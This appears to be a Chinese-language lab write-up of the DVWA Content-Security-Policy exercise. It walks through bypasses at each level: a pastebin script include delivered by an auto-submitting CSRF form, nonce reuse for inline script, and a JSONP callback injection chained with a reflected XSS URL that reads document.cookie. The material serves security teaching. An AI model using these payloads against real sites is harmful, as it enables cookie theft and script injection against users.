看到標題,是否有點疑惑 CPS 是什么東東。簡單介紹一下就是瀏覽器的安全策略,如果
標簽,或者是服務器中返回 HTTP 頭中有 Content-Security-Policy
標簽 ,瀏覽器會根據標簽里面的內容,判斷哪些資源可以加載或執行。阮一峰老師也有關於CSP 的文章,大家可以看看
看回 DVWA。DVWA 中需求也是很簡單的,輸入被信任的資源,就能加載或執行資源了。
初級
初級篇,如果不看源碼的話。看檢查器(F12),也可以知道一些被信任的網站。
其他的網站,大家應該也比較熟悉。而當中的 pastebin 是什么網站呢?一個快速分享文本內容的網站
假如文本的內容是一段 js 代碼呢?
比如是源碼中提示我們的, 輸入 https://pastebin.com/raw/VqHmJKjr
所以,不應該信任那些可以自由編輯文件的網頁的
那么能如何進行攻擊呢? 可以用 CSRF 吧。
造一個惡意的網站,通過發郵件的方式誘導用戶點擊即可。詳情可以看 CSRF 那一章。
<form action="http://192.168.0.110:5678/vulnerabilities/csp/" id="csp" method="post">
<input type="text" name="include" value=""/>
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/VqHmJKjr";
form.submit();
</script>
中級
中級的問題在於使用了 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
這個標簽,
也就是說如果你輸入
<script nonc=”TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
是能注入成功的。
這當然也可以利用 CSRF 手段進行攻擊
高級
高級就改變了形式了,點擊按鈕會得到答案,而這個答案是用 JSONP 的方式獲得的。(常用於跨越請求)
而且 cps 也設置為只信任自己的域名了
Content-Security-Policy: script-src 'self';
那這能有什么問題呢?
而點擊后發請求的邏輯在 vulnerabilities/csp/source/high.js
中
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
先說下這里的邏輯是什么吧。
- 客戶端點擊按鈕后,會在 html 中創建
<script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>
這樣的標簽 - 因為 script 不同於 ajax,所以可以跨域發送的
- 服務器就根據 callback 請求,返回
solveSum({"answer":"15"})
, 就可以調用 high.js 中的solveSum
有點繞。
大家應該能理解吧。
但如果有人將 callback 參數改成 ...callback=alert(document.cookie)//呢?
返回的確實 alert(document.cookie)//({"answer":"15"})
。。。
所以這是一個注入點。
至於如何利用,可以用同一個級別的 反射型 XSS 攻擊,在 CSRF 那篇也見過這種攻擊的手法
假如我有一個這樣的 js 。
d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');
h.appendChild(s);
即可完成攻擊
而 xss 攻擊 url 是這樣的
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//%22);h.appendChild(s)
去掉轉義是這樣的 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=#d=document;h=d.getElementsByTagName('head').item(0);s=d.createElement('script');s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');h.appendChild(s);
意思就是說,XSS 那里有個注入點,添加了個圖片,圖片地址錯誤的時候會折斷 url 的哈希路由的部分進行攻擊。具體還是看下 XSS 和 CSRF 那部分吧
不可能
就沒有 url 中的 callback 了,后台寫死了
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
總結
見識了這些繞過的方式,設置 CSP 還得謹慎點。
JSONP 跨域,其實也挺多安全性問題的。比如一些敏感的信息一不注意就會在惡意網站通過 JOSNP 泄露出去的。